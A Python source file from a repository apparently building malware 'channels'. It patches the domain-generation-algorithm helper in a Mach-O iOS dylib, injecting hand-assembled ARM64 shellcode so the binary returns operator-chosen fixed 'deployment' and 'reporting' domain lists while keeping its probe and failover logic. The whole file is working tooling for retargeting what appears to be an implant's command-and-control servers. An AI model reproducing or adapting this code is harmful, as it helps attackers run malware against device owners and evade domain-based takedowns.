root/coruna-lab
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity
Files
main
coruna-lab/channel-builder/tools/_domain_patch.py
T
hashbro 6bc172c570 fix: ios 16
2026-08-09 21:57:08 +08:00

689 lines
22 KiB
Python
Raw Permalink Blame History

"""Patch PLServerPool DGA helper to return fixed domain lists (probe/failover kept)."""
from __future__ import annotations
import struct
from dataclasses import dataclass, field
from _common import OLD_DEP, OLD_REP, pack_seed
_SUB_SP_E0 = 0xD10383FF
_MURMUR = bytes.fromhex("21368f52e1c6b372")
_NOP = 0xD503201F
_PACIBSP = 0xD503237F
_PACIBSP_ALT = 0xD503233F
_AUTIBSP = 0xD50323FF
# Standard arm64e return auth sequence used by the original helper epilogue:
# autibsp ; eor x16, x30, x30, lsl #1 ; tbz x16, #62, .+8 ; brk #0xc471 ; b <stub>
_EOR_X16_X30_LSL1 = 0xCA1E07D0
_TBZ_X16_BIT62_PLUS8 = 0xB6F00050
_BRK_C471 = 0xD4388E20
MAX_DOMAINS_PER_POOL = 8
MAX_DOMAIN_LEN = 63
def _b_target(pc: int, ins: int) -> int | None:
"""Return target of an unconditional B, or None if ``ins`` is not B."""
if (ins & 0xFC000000) != 0x14000000:
return None
imm = ins & 0x3FFFFFF
if imm & 0x2000000:
imm -= 0x4000000
return pc + imm * 4
def _is_pacibsp(ins: int) -> bool:
return ins in (_PACIBSP, _PACIBSP_ALT)
@dataclass
class SlicePatch:
file_offset: int
size: int
cpu_subtype: int
@dataclass
class SliceInfo:
blob: bytes
file_offset: int
cpu_subtype: int
sections: dict[str, tuple[int, int]] = field(default_factory=dict) # name -> (vm/file off, size)
@property
def is_arm64e(self) -> bool:
return bool(self.cpu_subtype & 0x80000000)
def iter_slices(data: bytes) -> list[SlicePatch]:
magic = struct.unpack_from("<I", data, 0)[0]
if magic in (0xBEBAFECA, 0xCAFEBABE):
nfat = struct.unpack_from(">I", data, 4)[0]
out: list[SlicePatch] = []
for i in range(nfat):
o = 8 + i * 20
_ct, cs, soff, ssize, _align = struct.unpack_from(">IIIII", data, o)
out.append(SlicePatch(soff, ssize, cs))
return out
return [SlicePatch(0, len(data), 0)]
def _parse_slice(data: bytes, sl: SlicePatch) -> SliceInfo:
blob = data[sl.file_offset : sl.file_offset + sl.size]
info = SliceInfo(blob=blob, file_offset=sl.file_offset, cpu_subtype=sl.cpu_subtype)
_magic, _ct, _cs, _ft, ncmds = struct.unpack_from("<IIIII", blob, 0)
off = 32
for _ in range(ncmds):
cmd, cmdsize = struct.unpack_from("<II", blob, off)
if cmd == 0x19: # LC_SEGMENT_64
nsects = struct.unpack_from("<I", blob, off + 64)[0]
so = off + 72
for _s in range(nsects):
sn = blob[so : so + 16].split(b"\x00")[0].decode()
saddr = struct.unpack_from("<Q", blob, so + 32)[0]
ssize = struct.unpack_from("<Q", blob, so + 40)[0]
sfo = struct.unpack_from("<I", blob, so + 48)[0]
# In these binaries vmaddr == fileoff for most sections.
info.sections[sn] = (sfo if sfo else saddr, ssize)
so += 80
off += cmdsize
return info
def normalize_domain(raw: str) -> str:
value = raw.strip()
if not value:
raise SystemExit("empty domain")
for prefix in ("https://", "http://"):
if value.lower().startswith(prefix):
value = value[len(prefix) :]
value = value.split("/")[0].strip()
if ":" in value:
host, port = value.rsplit(":", 1)
if port.isdigit():
value = host
if len(value) > MAX_DOMAIN_LEN:
raise SystemExit(f"domain longer than {MAX_DOMAIN_LEN}: {value!r}")
if not all(32 <= ord(ch) < 127 for ch in value):
raise SystemExit(f"domain must be ASCII: {value!r}")
return value
def parse_domain_list(values: list[str] | None, *, label: str) -> list[str]:
if not values:
raise SystemExit(f"{label}: provide at least one domain")
out: list[str] = []
for item in values:
for part in str(item).split(","):
part = part.strip()
if part:
out.append(normalize_domain(part))
if not out:
raise SystemExit(f"{label}: provide at least one domain")
if len(out) > MAX_DOMAINS_PER_POOL:
raise SystemExit(f"{label}: at most {MAX_DOMAINS_PER_POOL} domains")
seen: set[str] = set()
uniq: list[str] = []
for d in out:
if d not in seen:
seen.add(d)
uniq.append(d)
return uniq
def pack_domain_tables(dep: list[str], rep: list[str]) -> tuple[bytes, bytes]:
def one(domains: list[str]) -> bytes:
return bytes([len(domains)]) + b"".join(d.encode("ascii") + b"\x00" for d in domains)
return one(dep), one(rep)
def _enc_bl(pc: int, target: int) -> int:
imm = (target - pc) // 4
if not (-0x2000000 <= imm < 0x2000000):
raise SystemExit(f"bl out of range {pc:#x}->{target:#x}")
return 0x94000000 | (imm & 0x3FFFFFF)
def _enc_b(pc: int, target: int) -> int:
imm = (target - pc) // 4
if not (-0x2000000 <= imm < 0x2000000):
raise SystemExit(f"b out of range {pc:#x}->{target:#x}")
return 0x14000000 | (imm & 0x3FFFFFF)
def _enc_adr(rd: int, pc: int, target: int) -> int:
imm = target - pc
if not (-1048576 <= imm < 1048576):
raise SystemExit(f"adr out of range {pc:#x}->{target:#x}")
immlo = imm & 3
immhi = (imm >> 2) & 0x7FFFF
return 0x10000000 | (immlo << 29) | (immhi << 5) | rd
def _enc_adrp(rd: int, pc: int, target: int) -> int:
imm = (target >> 12) - (pc >> 12)
if not (-1048576 <= imm < 1048576):
raise SystemExit(f"adrp out of range {pc:#x}->{target:#x}")
immlo = imm & 3
immhi = (imm >> 2) & 0x1FFFFF
return 0x90000000 | (immlo << 29) | (immhi << 5) | rd
def _enc_ldr64_uoff(rt: int, rn: int, offset: int) -> int:
if offset % 8:
raise SystemExit("ldr offset must be 8-aligned")
imm12 = offset // 8
if not (0 <= imm12 <= 0xFFF):
raise SystemExit(f"ldr offset too large: {offset}")
return 0xF9400000 | (imm12 << 10) | (rn << 5) | rt
def _decode_ptr(raw: int, blob_len: int) -> int | None:
"""Decode plain or dyld-chained rebase pointer to a file/vm offset."""
if 0 < raw < blob_len:
return raw
# dyld_chained_ptr_64_rebase / arm64e variants: low 36 bits often hold target
target = raw & ((1 << 36) - 1)
if 0 < target < blob_len:
return target
return None
def _find_cfstring_for_cstring(info: SliceInfo, cstring_off: int) -> int:
blob = info.blob
# Fast path: plain pointer
ptr = struct.pack("<Q", cstring_off)
start = 0
while True:
i = blob.find(ptr, start)
if i < 0:
break
if i >= 16:
cfs = i - 16
length = struct.unpack_from("<Q", blob, cfs + 24)[0]
if length == 32:
return cfs
start = i + 1
# arm64e: scan __cfstring
off, size = info.sections.get("__cfstring", (0, 0))
if size:
for i in range(0, size, 32):
base = off + i
_isa, _flags, raw, length = struct.unpack_from("<QQQQ", blob, base)
if length != 32:
continue
tgt = _decode_ptr(raw, len(blob))
if tgt == cstring_off:
return base
raise SystemExit(f"CFString not found for cstring @{cstring_off:#x}")
def _find_stub_for_selector(info: SliceInfo, name: bytes) -> int:
blob = info.blob
name_off = blob.find(name + b"\x00")
if name_off < 0:
raise SystemExit(f"missing selector {name!r}")
selrefs: list[int] = []
# plain
ptr = struct.pack("<Q", name_off)
start = 0
while True:
i = blob.find(ptr, start)
if i < 0:
break
selrefs.append(i)
start = i + 1
# chained
off, size = info.sections.get("__objc_selrefs", (0, 0))
if size:
for i in range(0, size, 8):
base = off + i
raw = struct.unpack_from("<Q", blob, base)[0]
if _decode_ptr(raw, len(blob)) == name_off:
selrefs.append(base)
if not selrefs:
raise SystemExit(f"missing selref for {name!r}")
stubs_off, stubs_size = info.sections.get("__objc_stubs", (0xC0000, 0x40000))
lo = stubs_off
hi = stubs_off + stubs_size if stubs_size else min(len(blob), 0x100000)
for selref in selrefs:
for i in range(lo, hi, 4):
ins = struct.unpack_from("<I", blob, i)[0]
if (ins & 0x9F000000) != 0x90000000 or (ins & 0x1F) != 1:
continue
immlo = (ins >> 29) & 3
immhi = (ins >> 5) & 0x1FFFFF
imm = (immhi << 2) | immlo
if imm & (1 << 20):
imm -= 1 << 21
page = ((i >> 12) + imm) << 12
ins2 = struct.unpack_from("<I", blob, i + 4)[0]
if (ins2 & 0xFFC00000) != 0xF9400000 or (ins2 & 0x1F) != 1:
continue
imm12 = (ins2 >> 10) & 0xFFF
if page + imm12 * 8 == selref:
return i
raise SystemExit(f"missing objc stub for selector {name!r}")
def _find_classrefs(info: SliceInfo, body: int) -> tuple[int, int]:
blob = info.blob
cr_off, cr_size = info.sections.get("__objc_classrefs", (0x127E80, 0x400))
cr_lo, cr_hi = cr_off, cr_off + cr_size
hits: list[int] = []
# LDR literal (common in arm64)
for pc in range(body, body + 0x100, 4):
ins = struct.unpack_from("<I", blob, pc)[0]
if (ins & 0xFF000000) != 0x58000000:
continue
imm19 = (ins >> 5) & 0x7FFFF
if imm19 & 0x40000:
imm19 -= 0x80000
lit = pc + imm19 * 4
if cr_lo <= lit < cr_hi:
hits.append(lit)
# ADRP+LDR
for pc in range(body, body + 0x100, 4):
ins = struct.unpack_from("<I", blob, pc)[0]
if (ins & 0x9F000000) != 0x90000000:
continue
rd = ins & 0x1F
immlo = (ins >> 29) & 3
immhi = (ins >> 5) & 0x1FFFFF
imm = (immhi << 2) | immlo
if imm & (1 << 20):
imm -= 1 << 21
page = ((pc >> 12) + imm) << 12
if not (cr_lo <= page < cr_hi or cr_lo <= page + 0xFFF < cr_hi + 0x1000):
continue
ins2 = struct.unpack_from("<I", blob, pc + 4)[0]
if (ins2 & 0xFFC00000) != 0xF9400000:
continue
if ((ins2 >> 5) & 0x1F) != rd:
continue
imm12 = (ins2 >> 10) & 0xFFF
lit = page + imm12 * 8
if cr_lo <= lit < cr_hi:
hits.append(lit)
# de-dupe preserve order
uniq: list[int] = []
for h in hits:
if h not in uniq:
uniq.append(h)
if len(uniq) >= 2:
return uniq[0], uniq[1]
if len(uniq) == 1:
# NSString classref usually follows NSMutableArray
return uniq[0], uniq[0] + 8
# last resort: first two slots
return cr_off, cr_off + 8
def _collect_branch_targets(
blob: bytes, lo: int, hi: int, *, ops: tuple[int, ...] = (0x94000000,)
) -> list[int]:
out: list[int] = []
for i in range(lo, min(hi, len(blob) - 4), 4):
ins = struct.unpack_from("<I", blob, i)[0]
op = ins & 0xFC000000
if op not in ops:
continue
imm = ins & 0x3FFFFFF
if imm & 0x2000000:
imm -= 0x4000000
out.append(i + imm * 4)
return out
def _discover_dga(blob: bytes) -> tuple[int, int, int]:
"""Locate the PLServerPool DGA helper.
Returns ``(entry, body, end)`` where:
- ``body`` is the ``sub sp, sp, #0xe0`` prologue
- ``entry`` is the address callers actually enter (``pacibsp`` when present)
- ``end`` is the first byte *after* the replaceable region
Important: a ``b`` immediately before ``pacibsp`` is often the *previous*
function's tail branch (target ≠ body). Only treat ``b + pacibsp`` as an
8-byte trampoline when that ``b`` actually targets ``body``.
"""
idx = blob.find(_MURMUR)
if idx < 0:
raise SystemExit("DGA murmur constant not found")
body = None
for back in range(0, 0x300, 4):
addr = idx - back
if addr >= 0 and struct.unpack_from("<I", blob, addr)[0] == _SUB_SP_E0:
body = addr
break
if body is None:
raise SystemExit("DGA prologue not found")
entry = body
if body >= 4 and _is_pacibsp(struct.unpack_from("<I", blob, body - 4)[0]):
entry = body - 4
if body >= 8:
ins_b = struct.unpack_from("<I", blob, body - 8)[0]
if _b_target(body - 8, ins_b) == body:
# True compiler trampoline: b body; pacibsp; body
entry = body - 8
# Default span; shrink if another large-frame prologue follows.
end = body + 0x360
for a in range(body + 0x80, body + 0x400, 4):
if a + 4 > len(blob):
break
if struct.unpack_from("<I", blob, a)[0] == _SUB_SP_E0:
end = a
break
# arm64e helpers keep autibsp + auth + b <stub> after the stack restore.
# Include that tail in the patch window so our shellcode owns the return.
if entry < body and end + 16 <= len(blob):
if struct.unpack_from("<I", blob, end)[0] == _AUTIBSP:
# autibsp; eor; tbz; brk; b stub (5 ins)
end = end + 20
return entry, body, end
def _resolve_runtime_stubs(blob: bytes, body: int, end: int) -> dict[str, int]:
"""Map objc_retain / release / retainAutoreleased / autoreleaseReturnValue stubs."""
early = _collect_branch_targets(blob, body, body + 0x50, ops=(0x94000000,))
all_bl = _collect_branch_targets(blob, body, end, ops=(0x94000000,))
all_b = _collect_branch_targets(blob, body, end, ops=(0x14000000,))
if not early:
raise SystemExit("DGA helper has no early bl (objc_retain)")
retain = early[0]
page = retain & ~0xFFF
# libobjc stub island on same 4K page
island = sorted({t for t in (all_bl + all_b) if (t & ~0xFFF) == page})
if retain not in island:
island = sorted(set(island + [retain]))
# Typical layout near retain: ... autoreleaseReturn, release, retain, retainAutoreleased
lower = [t for t in island if t < retain]
higher = [t for t in island if t > retain]
release = lower[-1] if lower else None
auto_ret = lower[-2] if len(lower) >= 2 else (lower[0] if lower else None)
retain_auto = higher[0] if higher else None
# Fallbacks if ordering differs
if release is None and len(island) >= 2:
release = next((t for t in island if t != retain), None)
if retain_auto is None and len(island) >= 3:
retain_auto = next((t for t in island if t not in (retain, release)), None)
if auto_ret is None:
auto_ret = next((t for t in all_b if (t & ~0xFFF) == page), None)
if None in (retain, release, retain_auto, auto_ret):
raise SystemExit(
f"runtime stubs incomplete island={[hex(x) for x in island]} "
f"retain={retain!r} release={release!r} retainAuto={retain_auto!r} autoRet={auto_ret!r}"
)
return {
"retain": retain,
"release": release,
"retainAutoreleased": retain_auto,
"autoreleaseReturn": auto_ret,
}
def _apply_shellcode(
blob: bytes,
*,
entry: int,
body: int,
end: int,
stubs: dict[str, int],
class_array: int,
class_string: int,
dep_cf: int,
rep_cf: int,
dep_pack: bytes,
rep_pack: bytes,
label: str,
) -> bytes:
avail = end - entry
code: list[int] = []
labels: dict[str, int] = {}
pending: list[tuple[int, str, str]] = []
# arm64e helpers sign LR with pacibsp at the real entry (body-4).
has_pac = body >= 4 and _is_pacibsp(
struct.unpack_from("<I", blob, body - 4)[0]
)
def pc() -> int:
return entry + len(code) * 4
def emit(ins: int) -> None:
code.append(ins & 0xFFFFFFFF)
def mark(name: str) -> None:
labels[name] = pc()
def bl(target: int) -> None:
emit(_enc_bl(pc(), target))
def b_label(name: str) -> None:
pending.append((len(code), "b", name))
emit(0)
def cbz(rt: int, name: str) -> None:
pending.append((len(code), f"cbz{rt}", name))
emit(0)
def cbnz(rt: int, name: str) -> None:
pending.append((len(code), f"cbnz{rt}", name))
emit(0)
def adr(rd: int, name: str) -> None:
pending.append((len(code), f"adr{rd}", name))
emit(0)
def adrp_ldr(rd: int, abs_addr: int) -> None:
p = pc()
emit(_enc_adrp(rd, p, abs_addr))
emit(_enc_ldr64_uoff(rd, rd, abs_addr & 0xFFF))
# Match the original PAC entry when present. Starting the shellcode at the
# previous function's trailing `b` (old bug) skipped pacibsp and entered
# mid-frame-setup → crash before any /sync probe on arm64e type0x01/core.
if has_pac:
if entry == body - 8:
# True trampoline site: keep a branch into the pacibsp/body path.
emit(_enc_b(pc(), body - 4))
emit(_PACIBSP)
# Save every callee-saved reg we touch (x19-x22, x25). Omitting these
# corrupts _generateDomainsLocked and aborts before any /sync probe.
emit(0xA9BC7BFD) # stp x29, x30, [sp, #-0x40]!
emit(0xA9014FF4) # stp x20, x19, [sp, #0x10]
emit(0xA90257F6) # stp x22, x21, [sp, #0x20]
emit(0xA90367FA) # stp x26, x25, [sp, #0x30]
emit(0x910103FD) # add x29, sp, #0x40
emit(0xAA0003F3) # mov x19, x0 ; seed NSString* (x1 is domain count)
bl(stubs["retain"])
emit(0xAA1303E0)
adr(2, "dep_cf")
bl(stubs["isEqualToString"])
cbz(0, "check_rep")
adr(21, "dep_table")
b_label("build")
mark("check_rep")
emit(0xAA1303E0)
adr(2, "rep_cf")
bl(stubs["isEqualToString"])
cbz(0, "empty")
adr(21, "rep_table")
b_label("build")
mark("empty")
adrp_ldr(0, class_array)
emit(0xD2800002)
bl(stubs["arrayWithCapacity"])
bl(stubs["retainAutoreleased"])
emit(0xAA0003F4)
b_label("done")
mark("build")
emit(0x394002B6)
emit(0x910006B5)
adrp_ldr(0, class_array)
emit(0x2A1603E2)
bl(stubs["arrayWithCapacity"])
bl(stubs["retainAutoreleased"])
emit(0xAA0003F4)
mark("loop")
cbz(22, "done")
adrp_ldr(0, class_string)
emit(0xAA1503E2)
bl(stubs["stringWithUTF8"])
bl(stubs["retainAutoreleased"])
emit(0xAA0003F9)
emit(0xAA1403E0)
emit(0xAA1903E2)
bl(stubs["addObject"])
emit(0xAA1903E0)
bl(stubs["release"])
mark("scan")
emit(0x394002A8)
emit(0x910006B5)
cbnz(8, "scan")
emit(0x510006D6)
b_label("loop")
mark("done")
emit(0xAA1303E0) # mov x0, x19
bl(stubs["release"])
emit(0xAA1403E0) # mov x0, x20 ; NSArray*
emit(0xA94367FA) # ldp x26, x25, [sp, #0x30]
emit(0xA94257F6) # ldp x22, x21, [sp, #0x20]
emit(0xA9414FF4) # ldp x20, x19, [sp, #0x10]
emit(0xA8C47BFD) # ldp x29, x30, [sp], #0x40
if has_pac:
# Mirror the original arm64e return auth before the objc stub tail-call.
emit(_AUTIBSP)
emit(_EOR_X16_X30_LSL1)
emit(_TBZ_X16_BIT62_PLUS8)
emit(_BRK_C471)
emit(_enc_b(pc(), stubs["autoreleaseReturn"]))
table_off = entry + len(code) * 4
if table_off % 4:
while (entry + len(code) * 4) % 4:
emit(_NOP)
table_off = entry + len(code) * 4
dep_table = table_off
rep_table = table_off + len(dep_pack)
abs_map = {
"dep_cf": dep_cf,
"rep_cf": rep_cf,
"dep_table": dep_table,
"rep_table": rep_table,
}
for idx, kind, name in pending:
p = entry + idx * 4
if kind.startswith("adr"):
rd = int(kind[3:])
code[idx] = _enc_adr(rd, p, abs_map[name])
continue
target = labels[name]
imm19 = (target - p) // 4
if kind == "b":
code[idx] = _enc_b(p, target)
elif kind.startswith("cbz"):
rt = int(kind[3:])
code[idx] = 0x34000000 | ((imm19 & 0x7FFFF) << 5) | rt
elif kind.startswith("cbnz"):
rt = int(kind[4:])
code[idx] = 0x35000000 | ((imm19 & 0x7FFFF) << 5) | rt
else:
raise SystemExit(f"{label}: bad fixup {kind}")
payload = b"".join(struct.pack("<I", ins) for ins in code) + dep_pack + rep_pack
if len(payload) > avail:
raise SystemExit(
f"{label}: need {len(payload)} bytes, only {avail} free in DGA region"
)
new_blob = bytearray(blob)
new_blob[entry : entry + avail] = payload + b"\x00" * (avail - len(payload))
return bytes(new_blob)
def patch_fixed_domains_in_dylib(
data: bytes,
deployment_domains: list[str],
reporting_domains: list[str],
*,
deployment_seed: str,
reporting_seed: str,
label: str,
) -> bytes:
dep = parse_domain_list(deployment_domains, label="deployment")
rep = parse_domain_list(reporting_domains, label="reporting")
dep_pack, rep_pack = pack_domain_tables(dep, rep)
out = bytearray(data)
seed_dep = pack_seed(deployment_seed)
seed_rep = pack_seed(reporting_seed)
for si, sl in enumerate(iter_slices(data)):
info = _parse_slice(bytes(out), sl)
# re-parse from current out
info = _parse_slice(bytes(out), sl)
blob = info.blob
entry, body, end = _discover_dga(blob)
dep_cs = blob.find(seed_dep)
rep_cs = blob.find(seed_rep)
if dep_cs < 0 or rep_cs < 0:
dep_cs = blob.find(OLD_DEP)
rep_cs = blob.find(OLD_REP)
if dep_cs < 0 or rep_cs < 0:
raise SystemExit(f"{label} slice{si}: seed cstrings not found")
dep_cf = _find_cfstring_for_cstring(info, dep_cs)
rep_cf = _find_cfstring_for_cstring(info, rep_cs)
runtime = _resolve_runtime_stubs(blob, body, end)
stubs = {
**runtime,
"isEqualToString": _find_stub_for_selector(info, b"isEqualToString:"),
"arrayWithCapacity": _find_stub_for_selector(info, b"arrayWithCapacity:"),
"addObject": _find_stub_for_selector(info, b"addObject:"),
"stringWithUTF8": _find_stub_for_selector(info, b"stringWithUTF8String:"),
}
class_array, class_string = _find_classrefs(info, body)
patched = _apply_shellcode(
blob,
entry=entry,
body=body,
end=end,
stubs=stubs,
class_array=class_array,
class_string=class_string,
dep_cf=dep_cf,
rep_cf=rep_cf,
dep_pack=dep_pack,
rep_pack=rep_pack,
label=f"{label}/slice{si}",
)
out[sl.file_offset : sl.file_offset + sl.size] = patched
print(
f"{label} slice{si}: fixed domains @ {entry:#x}..{end:#x} "
f"dep={len(dep)} rep={len(rep)} arm64e={info.is_arm64e}"
)
return bytes(out)
Reference in New Issue View Git Blame Copy Permalink